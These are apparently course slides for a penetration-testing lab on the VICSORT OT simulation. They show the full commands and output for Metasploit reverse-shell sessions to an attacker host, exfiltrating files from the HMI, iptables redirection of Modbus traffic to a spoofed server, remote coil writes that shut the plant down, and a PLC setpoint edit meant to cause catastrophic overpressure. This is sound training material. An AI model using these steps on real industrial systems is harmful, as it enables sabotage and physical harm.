


Penetration Testing Attack Scenario

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24 Apr 2024




Learning objectives

By the end of this topic, you will be able to:

- Carry out attack scenarios on the VICSORT OT Simulation.

Persistent connection to the HMI



Attacking the ICS

Attacking the ICS

- Exfiltrating data from the HMI - Low Impact attack
- Manipulating the values displayed on the HMI - Medium Impact attack
- Remotely shutting down the plant - Medium Impact attack
- Catastrophic Damage to the Environment - High Impact attack

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- Catastrophic Damage to the Environment - High Impact attack

Attacking the ICS

Exfiltration of data

Exfiltrating Data from HMI

background

```
Background session 1? [y/N] y
msf6 exploit(multi/handler) > sessions --upgrade 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on
session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.90.197:4433
[*] Sending stage (1017704 bytes) to 192.168.90.5
[*] Meterpreter session 2 opened (192.168.90.197:4433 ->
192.168.90.5:47746) at 2024-04-05 14:17:09 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 exploit(multi/handler) > sessions --interact 2
[*] Starting interaction with 2...
```

Exfiltrating Data from HMI

```
meterpreter > download
/etc/systemd/system/freesweep.service /root/my_downloads
[*] Downloading: /etc/systemd/system/freesweep.service ->
/root/my_downloads/freesweep.service
[*] Downloaded 157.00 B of 157.00 B (100.0%):
/etc/systemd/system/freesweep.service ->
/root/my_downloads/freesweep.service
[*] Completed : /etc/systemd/system/freesweep.service ->
/root/my_downloads/freesweep.service
```

Exfiltrating Data from HMI

```
vicsort@vicsort:~$ lxc exec attacker-container bash
└─(root attacker-container)-[~]
└─# cat /root/my_downloads/freesweep.service

[Unit]
Description=Freesweep Application Service

[Service]
ExecStart=/usr/games/freesweep
Restart=always
RestartSec=3

[Install]
WantedBy=multi-user.target
```

Attacking the ICS

Manipulation of data


Redirect modbus traffic to HMI

```
vicsort@vicsort:~$ lxc list --columns=4 attacker-container
```


```
+-----+
|          IPV4          |
+-----+
| 192.168.90.197 (eth1) |
+-----+
```

```
vicsort@vicsort:~$ rdp_attacker
[1] 234716
```

Redirect modbus traffic to HMI



Redirect modbus traffic to HMI



Redirect modbus traffic to HMI

```
(rootattacker-container)-[~]  
# socat -d2 - TCP-LISTEN:502, fork
```

```
2024/04/06 22:29:53 socat[1211] N reading from and writing to stdio  
2024/04/06 22:29:53 socat[1211] N listening on AF=10  
[0000:0000:0000:0000:0000:0000:0000:0000]:502  
2024/04/06 22:29:53 socat[1211] N accepting connection from AF=10  
[0000:0000:0000:0000:0000:ffff:c0a8:5a05]:46834 on AF=10  
[0000:0000:0000:0000:0000:ffff:c0a8:5ac5]:502  
2024/04/06 22:29:53 socat[1211] N forked off child process 1212  
2024/04/06 22:29:53 socat[1211] N listening on AF=10  
[0000:0000:0000:0000:0000:0000:0000:0000]:502
```

Redirect modbus traffic to HMI

No.	Time	Source	Destination	Protocol	Length	Info
27898	306.06601744	192.168.99.5	192.168.99.5	TCP	74	34908 → 502 [SYN] Seq=64248 Len=0 MSS=1460 SACK_PERM=1
27899	306.06609496	192.168.99.5	192.168.99.5	TCP	74	502 → 34908 [RST] Seq=64248 Len=0 MSS=1460 SACK_PERM=1
27900	306.06612412	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18346697
27901	306.06619912	192.168.99.5	192.168.99.5	Modbus	7	Query: Trans: 0; Unit: 1; Func: 1; Read Input Reg.
27902	306.06627672	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18346906
27903	306.06722672	192.168.99.5	192.168.99.5	Modbus	7	Query: Trans: 0; Unit: 1; Func: 4; Read Input Reg.
27904	306.06730608	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18347091
27905	306.06742604	192.168.99.5	192.168.99.5	Modbus	7	Query: Trans: 0; Unit: 1; Func: 4; Read Input Reg.
27906	306.06751400	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18347096
27907	306.07229808	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [FIN, ACK] Seq=64248 Len=0 Tval=18347096
27908	306.07232408	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18347096
27909	306.07232408	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18347096
27910	306.07250302	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18347096

No.	Time	Source	Destination	Protocol	Length	Info
27911	306.07250302	192.168.99.5	192.168.99.5	TCP	74	34908 → 502 [SYN] Seq=64248 Len=0 MSS=1460 SACK_PERM=1
27912	306.06609496	192.168.99.5	192.168.99.5	TCP	74	502 → 34908 [RST] Seq=64248 Len=0 MSS=1460 SACK_PERM=1
27913	306.06612412	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18346907
27914	306.06619912	192.168.99.5	192.168.99.5	Modbus	7	Query: Trans: 0; Unit: 1; Func: 1; Read Input Reg.
27915	306.06627672	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18347096
27916	306.06722672	192.168.99.5	192.168.99.5	Modbus	7	Query: Trans: 0; Unit: 1; Func: 4; Read Input Reg.
27917	306.06730608	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18347096
27918	306.06742604	192.168.99.5	192.168.99.5	Modbus	7	Query: Trans: 0; Unit: 1; Func: 4; Read Input Reg.
27919	306.06751400	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18347096
27920	306.07229808	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [FIN, ACK] Seq=64248 Len=0 Tval=18347096
27921	306.07232408	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18347096
27922	306.07250302	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18347096

No.	Time	Source	Destination	Protocol	Length	Info
27923	306.07250302	192.168.99.5	192.168.99.5	TCP	74	34908 → 502 [SYN] Seq=64248 Len=0 MSS=1460 SACK_PERM=1
27924	306.06609496	192.168.99.5	192.168.99.5	TCP	74	502 → 34908 [RST] Seq=64248 Len=0 MSS=1460 SACK_PERM=1
27925	306.06612412	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18346907
27926	306.06619912	192.168.99.5	192.168.99.5	Modbus	7	Query: Trans: 0; Unit: 1; Func: 1; Read Input Reg.
27927	306.06627672	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18347096
27928	306.06722672	192.168.99.5	192.168.99.5	Modbus	7	Query: Trans: 0; Unit: 1; Func: 4; Read Input Reg.
27929	306.06730608	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18347096
27930	306.06742604	192.168.99.5	192.168.99.5	Modbus	7	Query: Trans: 0; Unit: 1; Func: 4; Read Input Reg.
27931	306.06751400	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18347096
27932	306.07229808	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [FIN, ACK] Seq=64248 Len=0 Tval=18347096
27933	306.07232408	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18347096
27934	306.07250302	192.168.99.5	192.168.99.5	TCP	66	502 → 34908 [ACK] Seq=64248 Len=0 Tval=18347096

Create Modbus Server on attacker-container

```
(root attacker-container)-[~]  
# pyhon3 -m pip install pipenv  
  
(root attacker-container)-[~]  
# cd /root/scripts/custom_modbus_server
```


```
(root attacker-container)-[~/scripts/  
custom_modbus_server]  
# ls  
2.5.2_pymodbus_script.py pymodus_2.5.2_venv src
```

Create Modbus Server on attacker-container

```
(root attacker-container)-[~/scripts/  
custom_modbus_server]  
# pipenv run 2.5.2_pymodbus_script.py  
The custom register values are: [64826, 5284, 13328, 43436, 25030, 3108, 15215, 4871, 46224, 22975, 0, 0, 0]  
Starting Custom Modbus Server...
```

```
Received Modbus request for address 1 and count 13  
The custom register values are: [64788, 5663, 13450, 43166, 28974, 3907, 21738, 5551, 46436, 23070, 0, 0, 0]  
Sending Response: b'\x00\x87\x00\x00\x00\x1d\x01\x04\x1a\xfd\x14\x16\x1f4\x8a\xa8\x9e9.\x0fCt\xea\x15\xaef\xb5dZ\x1e\x00\x00\x00\x00\x00\x00'  
### [ ModbusTCP ]###  
transId = 135  
protoId = 0  
len = 29  
unitId = 1  
### [ Modbus ]###  
funcCode = 0x4  
byteCount = 26  
registerVal= [64788, 5663, 13450, 43166, 28974, 3907, 21738, 5551, 46436, 23070, 0, 0, 0]
```

ScadaBR with the traffic switched



Redirecting PLC traffic to attacker-container

```
root@hmi-container:/# apt install -y iptables
root@hmi-container:/# iptables -t nat -A OUTPUT -d
192.168.95.2 -j DNAT --to-destination 192.168.90.197
```

```
root@hmi-container:/# apt install -y iptables-persistent
Configuring iptables-persistent:
Save current IPv4 rules? <Yes>
Save current IPv6 rules? <Yes>
```

```
root@hmi-container:/etc# iptables-save >
/etc/iptables/rules.v4
```

Removing IP tables rule

```
root@hmi-container:/# iptables -t nat -D OUTPUT -d 192.168.95.2 -
j DNAT --to-destination 192.168.90.197
```

```
root@hmi-container:/etc# iptables-save > /etc/iptables/rules.v4
```

```
root@hmi-container:/etc# iptables -t nat -L
```

```
Chain PREROUTING (policy ACCEPT)
target    prot opt source                destination
```

```
Chain INPUT (policy ACCEPT)
target    prot opt source                destination
```

```
Chain OUTPUT (policy ACCEPT)
target    prot opt source                destination
```

```
Chain POSTROUTING (policy ACCEPT)
target    prot opt source                destination
```

This needs to be carried out before proceeding to other attacks

Remotely shutting down the plant

```
(root attacker-container)-[~]
└─# msfconsole --quiet --execute-command "use
exploit/multi/handler; set payload linux/x86/shell/reverse_tcp;
set lhost 192.168.90.197; set lport 8443; run"
[*] Starting persistent handler(s)...
[*] Using configured payload generic/shell_reverse_tcp
payload => linux/x86/shell/reverse_tcp
lhost => 192.168.90.197
lport => 8443
[*] Started reverse TCP handler on 192.168.90.197:8443
[*] Sending stage (36 bytes) to 192.168.90.5
[*] Command shell session 1 opened (192.168.90.197:8443 ->
192.168.90.5:49400) at 2024-04-06 23:32:10 +0100
```

```
hostname
hmi-container
```

Remotely shutting down the plant

background

```
Background session 1? [y/N] y
```

```
msf6 exploit(multi/handler) > sessions --upgrade 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
```

```
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.90.197:4433
[*] Sending stage (1017704 bytes) to 192.168.90.5
[*] Meterpreter session 2 opened (192.168.90.197:4433 -> 192.168.90.5:47746) at 2024-04-05 14:17:09
+0100
[*] Command stager progress: 100.00% (773/773 bytes)
```

Route attacker-container traffic to PLC via HMI

```
msf6 exploit(multi/handler) > sessions --list
```

```
Active sessions
=====
```

Id	Name	Type	Information	Connection
1		shell x86/linux		192.168.90.197:8443 -> 192.168.90.5:37364
2		meterpreter x86/linux	root @ 192.168.90.5	192.168.90.197:4433 -> 192.168.90.5:49274

```
msf6 exploit(multi/handler) > route add 192.168.95.2
255.255.255.255 2
[*] Route added
```

Test the route

```
msf6 exploit(multi/handler) > fping 192.168.95.2
[*] exec: fping 192.168.95.2
```

```
192.168.95.2 is alive
```

```
(root attacker-container)-[~]
└─# fping 192.168.95.2
```

```
192.168.95.2 is alive
```


Turn the plant off

```
(root attacker-container) - [~/scripts]
# ./modbus_coils.py write_coils true 40 1
Successfully wrote a value of: True, to coils: WriteNCoilResponse(0, 1)
```

Coils status:
Coil 40: True

```
(root attacker-container) - [~/scripts]
# ./modbus_coils.py read_coils 35 10
```

Coils status:
Coil 35: False
Coil 36: False
Coil 37: False
Coil 38: False
Coil 39: False
Coil 40: True
Coil 41: False
Coil 42: False
Coil 43: False
Coil 44: False



INSPIRING FUTURES

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INSPIRING FUTURES

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Turn the plant back on

```
(root attacker-container) - [~/scripts]
# ./modbus_coils.py write_coils false 40 1
```

Successfully wrote a value of: False, to coils: WriteNCoilResponse(40, 1)

Coils status:
Coil 40: False

Manipulating HMI values during plant shutdown

- 1) Have the **attacker-container**, modbus server, ready to listen to HMI Modbus requests
- 2) Redirected HMI modbus requests to the **attacker-container** modbus server
- 3) Set Coil 0 on PLC to **True** (40)

INSPIRING FUTURES

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INSPIRING FUTURES

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Attacking the ICS

Catastrophic Damage to the Environment

Login to the engineering-container

- Edit the ladder logic for the PLC

```
root@vicsort:/home/vicsort# rdp_workstation
```

```
worker@workstation-container:~$ cd OpenPLC_Editor
```

```
worker@workstation-container:~/OpenPLC_Editor$ ./openplc_editor.sh
```

Edit the Pressure Setpoint

- Edit the ladder logic for the PLC

The screenshot shows the OpenPLC Editor interface. On the left, there is a project tree with 'Function Blocks' expanded, showing 'pressure_control' and its sub-blocks. The main area displays a table of variables and a ladder logic diagram below it.

#	Name	Class	Type	Initial Value	Option	Documentation
1	flow_sp_c	Local	UINT	13107	Constant	
2	a_sp_c	Local	UINT	30801	Constant	
3	press_sp_c	Local	UINT	55295	Constant	
4	over_sp_c	Local	UINT	31675	Constant	
5	level_sp_c	Local	UINT	30801	Constant	

The ladder logic diagram shows several 'MOVE' blocks connected in a sequence, representing the control logic for the pressure setpoint.

Edit the Pressure Setpoint

- Load the new program to the PLC

OpenPLC Server

Current PLC Status: **Running**

4 3

Change PLC Program

1 My_New_Program.st 2


Change Modbus Master Configuration

Changing this only have effect if OpenPLC is using the Modbus Master Driver

No file chosen

Edit the Pressure Setpoint

- As the pressure rises beyond safe levels



Edit the Pressure Setpoint

- Eventually causing catastrophic results



Learning objectives

- Carry out attack scenarios on the VICSORT OT Simulation. ✓



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Luimneach, V94 EC5T, Éire



CISSP

Thank you

